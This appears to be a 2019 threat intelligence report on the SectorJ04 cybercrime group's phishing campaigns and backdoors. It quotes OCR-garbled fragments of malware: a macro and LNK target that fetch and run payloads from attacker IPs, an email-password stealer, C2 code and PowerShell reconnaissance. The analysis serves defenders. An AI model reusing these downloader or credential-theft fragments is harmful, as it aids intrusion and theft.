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| Abstract

SectorJ04 is a Russian-based cybercrime group that began operating about five years ago
and conducted hacking activities for financial profit using malware such as banking trojans
and ransomware against national and industrial sectors located across Europe, North
America and West Africa.

In 2019, the SectorJ04 group expanded its hacking activities to cover various industrial
sectors located across Southeast Asia and East Asia, and is changing the pattern of their
attacks from targeted attacks to searching for random victims. This report includes details
related to the major hacking targets of the SectorJ04 group in 2019, how those targets were
hacked, characteristics of their hacking activities this year and recent cases of the SectorJ04
group’s hacking.

SectorJ04 group activity range and hacking methods

The SectorJ04 group has maintained the scope of its existing hacking activities while
expanding its hacking activities to companies in various industrial sectors located in East
Asia and Southeast Asia. There was a significant increase in their hacking activities in 2019,
especially those targeting South Korea. They mainly utilize spam email to deliver their
backdoor to the infected system that can perform additional commands from the attacker’s
server.

Main countries and sectors targeted

The SectorJ04 group’s preexisting targets were financial institutions located in countries
such as North America and Europe, or general companies such as retail and manufacturing,
but they recently expanded their areas of activity to include the medical, pharmaceutical,
media, energy and manufacturing industries. They do not appear to place much restrictions
on the sectors targeted. The following are the sectors and countries under which SectorJ04
group was found in 2019.
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Figure 1 SectorJ04 group’s first half activity timeline in 2019

Targeted Countries

We saw SectorJ04 group activity in Germany, Indonesia, the United States, Taiwan, India,
France, Serbia, Ecuador, Argentina, South Korea, Japan, China, Britain, South Africa, Italy,
Hong Kong, Romania, Ukraine, Macedonia, Russia, Switzerland, Senegal, the Philippines,
UAE, Qatar, Saudi Arabia, Pakistan, Thailand, Bahrain, Turkey, Bulgaria, Bangladesh.

.

Figure 2 SectorJ04 group targeted countries
Targeted Industries

e Financial-related corporate and government departments such as banks and
exchanges

¢ Retail business such as shopping malls and social commerce

o Educational institutions such as a universities

o Manufacturing companies such as manufactures of electronic products

* Media companies such as broadcasting and media
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e Pharmaceutical and biotechnology-related companies
¢ A job-seeking company
e Energy-related companies such as urban gas and wind power generation

Hacking Techniques

The Sectord04 group mainly utilizes a spear phishing email with MS Word or Excel files
attached, and the document files downloads the Microsoft Installer (MSI) installation file from
the attacker server and uses it to install backdoor on the infected system. As anti-virus
programs have recently begun to detect MSI files, in some instances macro scripts contained
in the malicious documents would install backdoors directly onto infected systems without
using MSl files.
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Figure 3 Schematic drawing for SectorJ04 group’s hacking method

Malicious documents used for hacking are mainly written as themes related to MS Office,
and the same themes are often used several times, with only language changes depending
on the victim’s language.

In addition, the MSI files backdoor used by SectorJ04 mostly had valid digital signatures, and
most of their malware were signed just days before they were found.
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Figure 4 Part of the malicious document execution screen that the SectorJ04 group attaches
to the spear phishing email
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Figure 5 Part of the digital signature found in the executable used for hacking
Digital signature information found in malware

e VAL TRADEMARK TWO LIMITED
e ALLOLTD

« COME AWAY FILMS LTD

o AWAY PARTNERS LIMITED

o ANG APPCONN LIMITED

e START ARCHITECTURE LTD

e SLONLTD

o DIGITAL DR

e FIT AND FLEX LIMITED

e Dream Body Limited
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« BOOK A TEACHER LTD

« MARK A EVANS LTD

o WAL GRAY LTD

e MISHA LONDON LTD

o START ARCHITECTURE LT
 BASS AUTOMOTIVE LIMITE
o FILESWAP GLOBAL LT

« HAB CLUB LT

e ET HOMES LT

Main Malware Used

The SectorJ04 group mainly used their own backdoor, ServHelper and FlawedAmmyy RAT,
for hacking. They also used the Remote Manipulator System (RMS) RAT, a legitimate remote
management software created in Russia. Backdoors are installed in infected systems and
they also distributed email stealers, botnet malware and ransomware through those
backdoors.

They were recently confirmed to use additional backdoor called AdroMut and FlowerPippi,
which is used to install other backdoor such as FlawedAmmyy RAT on behalf of the MSI file,
or to collect system information and send it to the attacker’s server.

Malware Types Found Before 2019

ServHelper FlawedAmmyy RMS RAT

RAT

Initial An MSI file that is downloaded from a

Infection document file attached to a spear

Method phishing email.

Downloaded  Nullsoft Installer Encoded SFX File

by MSI FlawedAmmyy
RAT

Characteristic C2 response has certain separator Check for Utilize
Antivirus configuration
Register files in DAT
AutoPlay with  formats
‘wsus.exe”

Malware Types Found After 2019

AdroMut FlowerPippi
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Initial Infection Document files attached to the spear

Method phishing emails

Characteristics Internal-used strings are decoded into A simpler function than
AES-256-ECB mode after base64 hard-coded RC4 key
decode. AdroMut

Configure infection system information in
JSON format (encrypted)

Load into “ComputerDefaults.exe” using
DLL side loading technique

Backdoor installed in the infected system distributed additional botnet malware, ransomware
and email stealers. The email stealer collects connection protocol information and account
information, such as SMTP, IMAP, and POP3, which are stored in the registry by Outlook and
Thunderbird mail clients and sends them to the attacker server in a specific format.

POST HTTP/1.1
HOST: NetTupex.Top

content-Length: 51

Proxy=-Connection: Keep-Alive

Pragma: no-cache

[{“out1ook-accounts”:null, “thunderbird-emails”:null}|

Figure 6 Format to send email credentials collected by email stealer

8, &Type, @, @)
IRegQueryValueExlW{phkResult, L"IMAP Password", @, &Type, @, @)
8, &Tvp

if { !RegQueryValueExW{phkResult, L"SMTP Password",
|
| 'RegQueryValueExW({phkResult, L"POP3 Password", e, B, 8) )

I
I
{
sub_4@E7CO(v3, v2);

Figure 7 Some of the email stealer codes that access email account information stored in the
registry

result = RegOpenKeyl h'..'I:HKE"I'r_USEHSJ lpSubkey, @, 8x2081%u, EphkR td:
if ( lresult )
{
= 8;

Name = 64;
= 1024;
a;
18, a;
(loc_497940) (& 1283, @);
194 = 1=
if { !HH“EHJ”UulurH{' KResult, 8, &\
{

4 = CryptUnprotectData;
while ( 1)
{
= wescmp(&valuelame, L"Account Name®);
if (05 )
= =(vs5 < @) | 1;
if (| )
break;
vl = wescmp(&valuelame, L"Email™);
if ( val )
..=-(.. ':ﬁ}ll;
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Figure 8 Some of the email stealer codes that access email account information stored in the
registry 2

An email stealer may also have a file collection function to collect email information that is
recorded in the metadata of the file corresponding to the hard-coded extension. In addition,
the malware eventually creates and executes a batch file for self-delete, removing the
execution traces from the infected PC.

extension_ 446908 dd offset aPst

dd offset alst

dd offset afAsp

dd offset aCdd

dd offset alpp

dd offset aDoc

dd offset aDocm : " .docm
dd offset aDocx " docx™
dd offset aDot " . dot™
dd offset aDotm s ".d

dd offset aDotx " Ldotx”

dd offset aEpub : " epub”
dd offset aFb2 ; " fb2"
dd offset aGpx : ".gpx"

dd offset albooks . " _ibooks"
Figure 9 Some of the file extensions that the email stealer collects data from

The SectorJ04 group is believed to collect email accounts stored in infection systems for use
in subsequent attacks.

Characteristics of hacking activities of SectorJ04 group in 2019

The following are the features of the first half of 2019 activities identified through the analysis
of the SectorJ04 group’s hacking activities.

 Increased hacking activities targeting East and Southeast Asia

e Changes in spam email format and hacking methods

e Changes in targets of hacking from specific organizations and industry groups to large
number of irregular ones

Although the SectorJ04 group mainly targeted countries located in Europe or North America,
it has recently expanded its field of activities to countries located in Southeast Asia and East
Asia. In particular, the frequency of hacking attacks targeting South Korea has increased,
and spam emails targeting China were found in May.

The changes could also be seen in attachments to spam emails used by attackers. Existing
spam emails used attachments in the form of malicious documents, but attachments with
HTM and HTML extensions were also found and the text included links to download
malicious documents directly.
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The Sectord04 group’s initial spam emails had no mail content or only short sentences, but
the latest spam emails found were elaborately written and included images. A new type of
backdoor called AdroMut and a new malware called FlowerPippi was also found coming from
SectorJ04.

Prior to 2019, the SectorJ04 group conducted large-scale hacking activities for financial gain
using exploit kits on websites to install ransomware, such as Locky and Globelmporter, along
with its banking Trojan, on its victims computers. But after 2019 the group has changed its
hacking strategy to attack using spam email. In particular, a number of remote control
malware are utilized to gain access to resources such as email accounts and system login
information from the infected machine to send more spam emails and distribute their
malware.

Increased hacking activities targeting East and Southeast Asia

The hacking activities of SectorJ04 group, which targeted South Korea in the first half of
2019, have been continuously discovered. The emails found were written in relation to
invoice and tax accounting data, and were attached the MS Word or Excel files with
malicious macros inserted. Malicious documents written in Korean have the same
characteristics as other language hacking activities under the theme of MS Office.
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Figure 10 Spear phishing emails disguised as order sheets

In June 2019, continuous hacking activities targeting South Korea were found again and
spam emails were written with various contents, including transaction statements, receipts
and remittance cards. During that period, a number of spam emails disguised as remittance
cards of the same type were found.
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Figure 11 Spear phishing email disguised as a remittance card

The SectorJ04 group has carried out large-scale hacking activities targeting South Korea,
while also expanding the field of attacks to Southeast Asian countries such as Taiwan and
the Philippines. Spam emails and attachments written in Chinese were found in May, and the
SectorJ04 group at that time targeted industrial sectors such as electronics and
telecommunications, international schools and manufacturing.
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Figure 12 Spear phishing emails written in Chinese
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F.igure 13 Malicious excel file execution screen written in Chinese
Changes in spam email format and hacking methods

In June, SectorJ04 group conducted hacking using spam emails written in various
languages, including English, Arabic, Korean and Italian, and the emails were written with
various contents, including remittance card, invoice and tax invoice.

Along with the existing method of using MS Word or Excel files as attachments, they used
HTML files to download malicious documents as attachments, or included links to download
malicious documents directly in the text.

In the past, the emails used in attacks had little or no content, but the latest ones use
elaborated spam emails for hacking, such as using images.

Emirates NBD <
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Figure 14 Spear phishing email disguised as bank statement

norep @
Application (B6TB0N848743) &,

¢ hF-Corificuie-61RE50 Rl

.--""”H i I.-- ’ Jk
=AY Ly
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Figure 15 Spear phishing email disguised as a hospitél certificate

Changes have also been found in the hacking method of the SectorJ04 group. In addition to
their preexist backdoor, ServHelper and FlawedAmmyy, they have also been confirmed to
use the backdoor called AdroMut and FlowerPippi.

AdroMut downloads the malware (ServHelper and FlawedAmmyy RAT) used by the
SectorJ04 group from the attacker server and simultaneously performs the functions of a
backdoor.

FlowerPippi collects infection system information, such as the domain of the infected system,
proxy settings, administrator rights, and OS version, and performs functions such as
executing commands received, downloading and executing DLL and EXE files.

string_Decrypt 108000787 ( 57735477 746A45666I6E517E79496CT0", “EVEKIBwkktvMeYS5DbBNTg==", 1
if { sub_10004300(%.76) == 1 )

» Bvit, 0);

string_Decrypt_106d1 ?E?&':’B‘.\dﬁf'ﬂ T26A57TBASTOAFSTTOEBAS54™, " IDNESHMsveM, dE ey OK+FA "I, 1, & e, @)
string_Decrypt_10991787(
= TOSSEETEGETATAS1407168 74546474737,
= 2ENro65s ivat iolvUFOZdSodNd /F ivwl t O FASE S 1=",
1
|
8);
string Decrypt_ 10081787 (
=556 2456ETSTIG6TATATSGD5945T36B57
“Clqyj8d22ewipX iz IpINenlF JOI+vIpGshl zwdm]M=",
1'
Bl
a);
string_Decrypt_100@17B7("GOASHF 7767 IAF 75636ET7AF TAGAGA49", “pELOI2DGYnak0zFCuZkokg==", 1, &vid, @);

Figure 16 Encoded Strings on the AdroMut Backdoor
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if { dword _43282C == -1 )

{

lpszServerName = "bigpresense.top”;
*&hinternet = 8ib6d;

dword_43A034 = "/18/bot.php”;
dword_43A038 = “iBduciasnBgioipwsdflki”;

B = InternetUpenki{@, &, &, @, H
hInternet = vio;
if (v0)
{
*(Shinternet + 1) = InternetConnectA(vd, lpszServerbame, @x58u, @, @, 3u, 8, 1lu);
ffer = 300000
InternetSetOptionW(hInternet, 2u, &Buffer, du);
InternetSetOptionW(hInternet, 6u, &Buffer, du);
InternetSetOptionW(hInternet, Su, & . du);

}
sub_489A32(sub_425848) ;

sub_409606(&dword_43A02C) ;
H

Figure 17 RC4 key with hard-coded view from the FlowerPippi back door

The SectorJ04 group is believed to have developed and used malware that functions as a
downloader for the purpose of installing or downloading malware to replace the MSI
installation files that they have used for hacking for more than six months as the detection
rate of security solutions increased.
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Figure 18 Some of the digital certificate information identified in the corresponding hacking
activity

The Sectord04 group, which has been utilizing the same pattern of infection and the same
malware for more than six months, is believed to be attempting to change its infection
methods such as downloading malware directly from malicious documents without using MSI
installation files, changing their spam email format and using new types of backdoor.

Changes in hacking targets from specific organizations and industries to random
ones
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Until 2019, SectorJ04 group had carried out massive website-based hacking activities that
mainly utilize ransomware and banking trojans for financial profit, and has also been carrying
out information gathering activities to secure attack resources such as email accounts and
system login information from users since 2019.

This allows them to expand their range of targets of hacking activities for financial profit, and
in this regard, SectorJ04 group has been found to have hacked into a company’s internal
network by using a spear phishing email targeting executives and employees of certain
South Korean companies around February 2019.

They eventually hacked the Active Directory (AD) server and took control of the entire
corporate internal network, and then distributed the Clop ransomware on the AD server.
From the hacking activity, we also found malware for collecting email information and
‘AmadeyBot”, a botnet malware that which has its source code available in Russia’s
underground forums.

Figure 19 Spear phishing email used for hacking activities targeting AD servers in South
Korea

They are believed to have continuously attempted to hack into companies in South Korea to
distribute Clop ransomware. Attackers used spam emails disguised as being sent by the
National Tax Service in May to install FlawedAmmyy RAT in the infected system, during
which the Clop ransomware was found using the same certificate as the FlawedAmmyy RAT
executable file.
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Figure 20 Spear phishing email disguised as tax bill

The SectorJ04 group has shown a pattern of hacking activities that have changed from
targeted attacks to a large-scale distribution of spam.

Major Malware Installation Types

The following describes three types of backdoor infections that are installed from malicious
documents identified in the SectorJ04 group-related hacking cases that occurred during the
first half of 2019.

Type 1 — Using encoded executable file

SectorJ04 group carried out intensive hacking on various industrial sectors, including South
Korea’'s media, manufacturing and universities, around February and March 2019. They
used the spear phishing email to spread malicious Excel or malicious Word files, and

downloaded the MSI files from the attacker’s server when the malicious documents were run.

The MSI file installs a downloader that downloads FlawedAmmyy RAT encoded in the
infection system from the attacker server, and the downloaded FlawedAmmyy RAT registers
an automatic execution under the name “wsus.exe.”

1
%@m - Bl = B

Malicious document
attachment Downloader

Figure 21 Type of backdoor installation to install encoded executable file Type 1
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FlawedAmmyy RAT performs remote control functions in the infected system and decodes
encoded executable files downloaded from the attacker server using certain hard-coded
strings. It also has a function to check if a particular process is running to determine whether
their malware should be executed.

SetUnhandledExceptionFilter({ToplevelExceptionFilter):
= lstrlenAl] Ammyy Admin"]:
sub_432988(v2, "Ammyy Admin");
sub_4345648( " Ameryy Admin"};
sub_434648( "exe”);
= sub_d484798();
sub_434648(v3);

Versi n.dwOsVersionInfoSize = 276;
GetVersionExkW{&\Ver r ion);
[9] = LOWORD(Ve .dwMinorVersion) | {LOWORD(\ .dwMajorVersion) << 16);
sub_487088(v1);
return 1;

Figure 22 “Ammy Admin” string found in FlawedAmmyy RAT

5= 05
*(a2 + 256) = @;
8;

n nm

do
Tk = e

while ( < Bx100u );

= £y

11 = 256:
do
{
= Tyl
5 += vB +|aPqoi73jgdjweny ]4
*(v7 - 1) = ¥(v5 + vI);
LOBYTE(result) = +1;
w3 + v2) = vE;
vi = 8;
if { result = 3 )
}
while ( y:
return o 1t;

Figure 23 Part of decode code that uses hard-coded strings
Type 2 — Using NSIS Script

SectorJ04 group conducted hacking activities targeting financial institutions located in India
and Hong Kong around April 2019. Malicious documents delivered through the spear
phishing email downloaded the MSI file, which forwards the NSIS Installer to the infected
system. The NSIS script executes the final payload, ServHelper, in the DLL file format, using
‘rundll32.exe”.

Note that NSIS (Nullsoft Scriptable Install System) is a script-based installation system for
Windows and is a lightweight installation system supported by Nullsoft.
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Figure 24 Backdoor installation type utilizing NSIS Installer Type 2

Decompressing the NSIS installer installed by the MSI file shows that it consists of an NSIS
script with an NSI extension, a ServHelper in the DLL file format, and a “ncExec.dll,” the
normal DLL required to run the NSIS.

|| [NSIS].nsi 20150708 TE 3:194 NSIFle 3B
% neExec.dl 20190708 7 % 3:14 Apphcation extension TEE
|| pegas.di 2019-04-12 2 9:06  Application extension HTKE

Figure 25 Uncompressed NSIS installer

Section Post ; Section.!
nsExec::Bxec “$¥ cad.exe$® /¢ rundl 132 $TEMPHpegas.dil, kest”

» Call Initialize————_Plugins
: SetOverwrite off
i File $PLUGINSDIP#nsExec.dl |
» SetletailsPrint lastused
{ Push "$# cmd.exe$®” /c rundl 132 $TEMP#pegas.dll, kest"|
¥ ns nsExec.dll Exec

Sect ionEnd

Figure 26 Part of the NSIS script for running ServHelper in the DLL file format

ServHelper performs the function of the backdoor in the infection system and sends specific
types of responses to C2 servers using delimiters such as “key,” “sysid,” and “resp”. Different
types of delimiters are sometimes found depending on malware.

sub_1314A1D8(L"asdgdgYss455™, |"key="|, v5);
(*(*v15 + 60))(*v15, vid, v5);
sub_1314A1D8(@, v6):

(*(*v15 + 60))(*vI5, vI3);

sub_1314A1D8(9, O F

(*(*v15 + 60))(*T5, v12);

VS = 8

sub_1314A260(v2, 3);
sub_1323834C(L"/aggdst/Hasrt.php”, L"afgdhjkrm.pw”, L"https://", &vi10);
(*(*v1e + 24))(&v11, @, 8, @, v5);
sub_131498CC (&dword_13254E84, v11);

sub_131498CC (&dword_13254E88, 0);
dword_13254E78 = sub_1315038C(0, @, sub_13242138, @, ©, &dword_13254E80);

Figure 27 ServHelper Backdoor C2 Communication Code Partial

Type 3 — Using Self-Extracting File

Sectord04 group carried out hacking activities targeting financial institutions located in Italy
and other countries around May 2019. Malicious documents delivered through the spear
phishing email pass MSI files to the infection system, and MSI files download the executable
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self-extracting file (SFX). When the SFX file is executed, another SFX file inside is executed
and the final payload, RMS RAT, is delivered to the infected system.

g 0 ] -

Malicious doecument
attachment M file 1 5FX 2 SFX

A

RMS RAT
Figure 28 Backdoor installation type utilizing SFX executable files Type 3

Within the first SFX file to be downloaded by the MSI file, there are four files. When
executing an SFX file, it uses a command to change the extension of the SFX file
(“kernel.dll”) of the DLL extension to EXE and decompress it using a hard-coded password.
The files that make up the SFX file vary from malware to malware.

| &3] #8300 0gEE

351 1,536 Apphcaton
183 270 Windows Command !
2,353,586 3,019,578 Apphcation extension
211,137 451,534 Apphcabon

B ks 800, & MR 371:3.16M8
Figure 29 The first SFX file to be downloaded from an MSI file

Becho off

ping wew.cloudflare.com -n 3 - 3000
II_: XERRORLEYELY NEQ 1 rename kernel.dl! uninstall.exe

=n 3 =g 10
|IF XERRORLEYELY NEQ 1 start uninstall.exe x -pQELRatcebUZEJS -v|

start veter2005_MAPS_10cr24. exe

Figure 30 “i.cmd” for decompression of the second SFX file
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Four files can be seen in the second SFX file that has been decompressed, and as before,
running “exit.exe”. “exit.exe” executes the same “i.cmd” as before, which executes an RMS
RAT with the file name “winserv.exe” in the registry. RMS RAT is a legitimate remote
management software created in Russia, and files with DAT extensions contain configuration

information to run the RMS RAT.

oig = | es3y| a=3)|buss

B et exe® 352 1,53 Applcation
) i.omd= 208 312 Windows Command !
|| settings.dat= 1,536 2,915 DAT Fie
B ingery. axe® 2,713,872 2,786,206 Apphcaton
4] | |

=%ALLLISERSPROFILE % WWindows Anytme Upgrade

=axit.exe
=1
=]
te=l

B mR:e, E0:0, 28 MR 370 267M8
Figure 31 Configuring a second SFX file disguised as a DLL file extension

OE 00 0D 00 4F OO0 70 0D 74 00 &9 00 &F 00 &E 00 cea.O.p.t.io.n.
73 00 FA 05 00 00 54 50 46 30 11 54 52 4F 4D 53 =.4...TPFO.TROMS
65 72 Te &5 T2 4F 70 74 6% 6F 6E 73 00 09 55 73 erverOptions..Us
65 4E 54 41 75 74 68 08 OD 53 65 €3 75 72 &9 74 eNMTAutch..Securic
T8 4C 65 76 &5 6C 02 03 04 50 €F 72 74 03 12 16 vylevel...Port...
14 45 6E &1 62 &C 65 4F 76 65 72 &6C 61 79 43 61 .EnablelverlayCa
70 74 75 72 E5 0B OC 53 €8 &F 77 54 72 61 79 4% prure..Showlrayl
63 6F 6E 0% 15 48 6% 64 65 54 72 61 79 45 63 6F con..HideTrayIco
6E 50 &F 70 75 70D 4D &5 &E 75 09 0& 42 69 &E 64 nPopupMenu..Bind
49 50 06 OD 41 6E 79 20 6% B6E 74 65 72 66 61 63 IP..Any interfac
65 13 43 61 6C 6C 62 61 63 68 41 75 74 6F 43 6F e.CallbackAutaCo
6E BE 65 63 T4 09 17 43 €1 BC 6&C 62 &1 63 6B 43 nnect..CallbackC
6F 6E G6E 65 63 74 4% 6E 74 65 72 76 61 6C 02 3C onnectInterval.<
QC 30 &1 73 73 77T &F T2 64 4494 €1 74 &1 0& OC 3I& .PasswordData..&
4F gD 2F 75 77 €B T8 39 4B 45 3D 0B 48 6% 64 £5 OmfuwkxSHEE=.Hide
53 74 6F 70 09 OC 49 70 46 &9 6C 74 &5 72 54 79 Stop..IpFilterTy

Figure 32 RMS RAT configuration file with a DAT extension

SectorJ04 Group Activity in South Korea

The following is about the activities of the SectorJ04 group found in South Korea in July and
August 2019.

Hacking activities disguised as electronic tickets by large airlines

In late July, SectordJ04 group used FlawedAmmyy RAT to carry out hacking attacks on
companies and universities in sectors such as education, job openings, real estate and
semiconductors in South Korea. Spam emails targeting email accounts used in the
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integrated mail service of public officials were also found in the hacking activity.

[ EVEE] Tk B g 346291 5006 (80 B

e-E[Z! O| QLY o LIC

-E/% RUSE HRH POF IS Bt FAI7] wpErUch
= - =

Ol M2D Ha2E 53 My SE7 H |8y
Figure 33 Spam email disguised as electronic tickets

They used spam emails disguised as those sent by large South Korean airlines and used
ISO-format files as attachments. The group used the same body contents of the email to
deliver spam emails to multiple hacking targets.

Decompressing the ISO file attached to the spam email would show an SCR file disguised as
a “.pdf” extension exists, which is a .NET executable file that downloads an MSI file. The ISO
files sometimes contain LNK files, which, like the malware written in .NET, download an MSI
files from a remote location.

7] e-Ticket £ S _54661619.pdf.ser 2019-07-25 27 6:39 Screen saver 9KB
Figure 34 A disguised SCR file identified within an ISO file

Figure 35 MSI file downloader written as .NET

abe0d030005%
[F_.t' | a%3 20212758 226c97deb T 1688

Tarmget typs:  Application
Target location: System32
Target: Iﬂﬁmcmmﬁmu /#27.102.70.196/km1

Figure 36 Disguised LNK file identified within ISO file
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The following valid digital signatures were found in the MSI file downloaded from the attacker
server. Other digital signatures were also found issued by “HAB CLUB LT” and “LUK 4
TRANSPORT LT”.

= Dagital Signature Information
22 | This digital signature is OK.

- Sagner informabon
Hame: JFnEswes GLOSM. LTD|
E-minil: Jriot avaiabie

Signing time: | 15 2 7 ¥ 25 ¥ ER¥W RN

View Certificate
T Countersignatures
Mame of signer: | E-mad address: | Tmestamp |
DigiCert Tmesta... Hot avaiable 20194 78 58 =...

Figure 37 Digital signature information for MSI files found in hacking activities

Finally, FlawedAmmyy RAT is downloaded from the remote server and the activity uses a
Base64 encoded Powershell script to determine if the infected system is a PC contained in
an Active Directory Domain.

if({Cat-wmitbject -Class winll _CosputerSystes) . PartOfDomsain frrue) {
wWrigs l.'||.|:|.-.u-.'|'= ¥ o uadE 45 part of the demain: $C{Get-wmiObject ~Class Winll CosputerSysten] Drnnn].l'
¥ wlse {
Write-Output ~len o 4SME i3 not part of & dosain.”™;
Gwmi windd_group -Filter “Domaine” Jerny:computers " &mnd SI0m " S=-1=5=37-544"";
5 5 Name
tonet localgroup Sad whare {5 §ul =sutvariasble 5t
if (Srest fer vername J{Weite-0utput “is part of adein group” lelse{write-Output “not admin”};
fuse Seourity. Principal . Windows Ident ity ] : -GetCurrent () ;
§ (New-Object Security.Principal.WindowsPrincipal 3 ). IsInkole([Security.Principal .WindowsBui ItinRole] : -Adwiniztrator)

write-output “adsin(high integrity): Srea”
gdr ~PESProvider 'FileSystes’

®if ({%u "fenviUsername™; net localgroup Sade | where [I_ -satch Swu}) -eq Senviusermame){echo goodlelsefecho bad}:

Figure 38 Powershell script to determine if a PC belongs to a domain
Hacking activity using same email content as the past

In early August, the SectorJ04 group carried out extensive hacking activities targeting the
users around the world, including South Korea, India, Britain, the United States, Germany,
Canada, Argentina, Bangladesh and Hong Kong.
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Their activities were particularly heavy in healthcare-related areas such as healthcare,
pharmaceuticals, biotechnology and healthcare-wage management, as well as energy-
related companies such as gas and wind power. Also, they continued their attacks on
preexisting hacking target areas such as manufacturing, distribution and retail.

The contents of the text written in French and English were found in the spam email, and an
MS Word file with random numbers was used as an attachment. All emails found in the
hacking activity had the same text content.

CPSETG 1AACH T e
| D e y

Figure 39 Spear phishing emails written in French and English

Spam emails in Korean were also identified in the hacking activity, indicating that the
contents of the text of the email used in the hacking activity were reused in June. Attached
file is an MS Word file titled “A7H (random number).doc”.

ZENNY DY
TEL @
R 0
MP O

Figure 40 Spear phishing email targeted to South Korea using the same text used in the past
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The MS Word file used as an attachment is disguised as an order confirmation and a goods
receipt. Running the macro from the document would allow the downloader with the DLL file
format to run using “rundli32.exe”. The downloader downloads FlawedAmmyy RAT from the
attacker server and runs under the name “rundi32.exe”.

o LA, B BNt B s i i s i e, s 4. gk,
Ew e 1 e e U bk s e i e e e =

i
L]
[
P
F LA ——"
E

|°l 48 L2 E 92§ g4 3 s of gt

Eﬂ'ﬁ'—i!ntuﬂ@-ﬂiﬁ | @EE-»
Figure 42 Malicious document execution screen for Korea language users disguised as a
receipt of goods
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exailsid = "gutput.pdf®
Dim retdﬂtttd_tb As Object

S5et recovered th = CreateObject ("InternstExplorer.Application®™)
With recovered tb

.pavigace ("hcoop:/f185.142,.98.41/340%5 'x'"ﬂ

Blwiohsd ) awoonlissaws Sal i whly

IeadyoTate = 4§

Loop

compleced bID = .Document.body.innerTextc

ChDir (Environ("TEMF"})

Call wvariable caption(completed bID, emailsid, lstwords, notestepl)

Dim fileextension=line As Scring

fileexcenaionsline = "realid.dll"™

Call wariable capticn(completed bID, fileextensionsline, lstwords, sortspecial)
Modulel . Prr3afe

Done:
Call variable caption(completed bID, fileextensionsline, lstwords, latwords)

Modulal.PrrSafe

IC::lttﬂbjtctt"NL::;r:,Lﬂtll"].Ex:c {("rundll3? " + fileextensionsline & ",CLlH;::"!I

Figure 43 Part of the macro script included in the malicious document

FlawedAmmyy RAT found in the hacking activity showed the existing “Ammyy Admin” string
being modified to “Popss Admin” and created Mutex with “KLGjigjuw4j892358u432i5”. In
addition, the compile path “c:\\123\\123\\clear\\ammyygeneric\\target\TrFmFileSys.h” was
found inside the file.

SetUnhandledExceptionfilter{ ToplevelExceptionFilter);
v2 = lstrlenA]"Popss Admin®™};
sub_418ED@({vZ, "Popss admin );

sub_a1ACER(“Popss Admin®);

sub_A1ACER("exe™);

3 m sub_4638E0();

sub_41ACE@{v1);

VersionInformation.dwOSVersionInfoSize = 276;

GetVersionExW(8VersionInformation);

v1[9] = LOWORD(VersionInformation.dwMinorVersion) | (LOWORD{VersionInformation.dwMajorVersion) << 16);
sub_A64638(v1);

Figure 44 Change hard-coded string information in FlawedAmmyy RAT

if ( sub_433650() == 2 )

{
if { GetACP() )
CreatetutexA(@, 1, "KLGjigjuwdj892358u432i5");]
if { Getlastbrror() == 183 )

TerminateProcess{@xFFFFFFFF, @);
vB = GetCurrentProcessId();
vi vB ¢ 8x141;
v? = v8 == 321;
goto LABEL_16;

Figure 45 Mutex generation code using hard-coded string information
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In addition to the above mentioned changes in the FlawedAmmyy RAT found in the most
recent hacking activity, other changes such as changes in their string decoding were
identified.

Conclusion

The SectorJ04 group’s range of targets increased sharply in 2019, and they appear to be
striving to carry out elaborated attacks while at the same time targeting indiscriminately. They
are one of the most active cyber crime groups in 2019, and they often modify and tweak their
hacking methods and perform periodic hacking activities.

The SectorJ04 group’s hacking activities are expected to continue to increase, and the
ThreatRecon team will continue to monitor the attack activity against the group.

Indicators of Compromise (loCs)

loCs of the SectorJ04 group included in the report can be found here.

More information about the SectorJ04 group is available to customers of ThreatRecon
Intelligence Service (RA.global@nshc.net).

MITRE ATT&CK Techniques

The following is a list of MITRE ATT&CK Techniques we have observed based on our
analysis of these malware.
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https://github.com/nshc-threatrecon/IoC-List
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Initial Access
Spearphishing Attachment
Spearphishing Link
Trusted Relationship

Execution

Command-Line Interface
Execution through API
Execution through Module Load
Exploitation for Client Execution
PowerShell

Rundll32

Scheduled Task

Scripting

Service Execution

User Execution

Windows Management Instrumentation
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Persistence
Account Manipulation
New Service

Registry Run Keys / Startup Folder

Scheduled Task
Startup items
System Firmware

Windows Management Instrumentation Event Subscription

Privilege Escalation
Bypass User Account Control
New Service

Scheduled Task

Startup items

Defense Evasion

Bypass User Account Control
Code Signing

Disabling Security Tools

DLL Side-Loading

Exploitation for Defense Evasion
Hidden Window

Modify Registry

Obfuscated Files or Information
Rundll32

Scripting

Software Packing
Virtualization/Sandbox Evasion

Credential Access
Account Manipulation
Input Capture

Input Prompt

Discovery
Account Discovery
File and Directory Discovery

26/28



Network Service Scanning

Network Share Discovery

Permission Groups Discovery

Process Discovery

Query Registry

Remote System Discovery

Security Software Discovery

System Information Discovery

System Network Configuration Discovery
System Network Connections Discovery
System Owner/User Discovery

System Service Discovery
Virtualization/Sandbox Evasion

Lateral Movement
Remote Desktop Protocol
Remote Services

Collection

Automated Collection
Data from Local System
Email Collection

Input Capture

Command and Control

Commonly Used Port

Custom Command and Control Protocol
Custom Cryptographic Protocol

Data Encoding

Remote Access Tools

Standard Application Layer Protocol
Standard Cryptographic Protocol

Exfiltration
Automated Exfiltration
Data Compressed
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Exfiltration Over Alternative Protocol
Exfiltration Over Command and Control Channel

Intent
Data Encrypted for Impact
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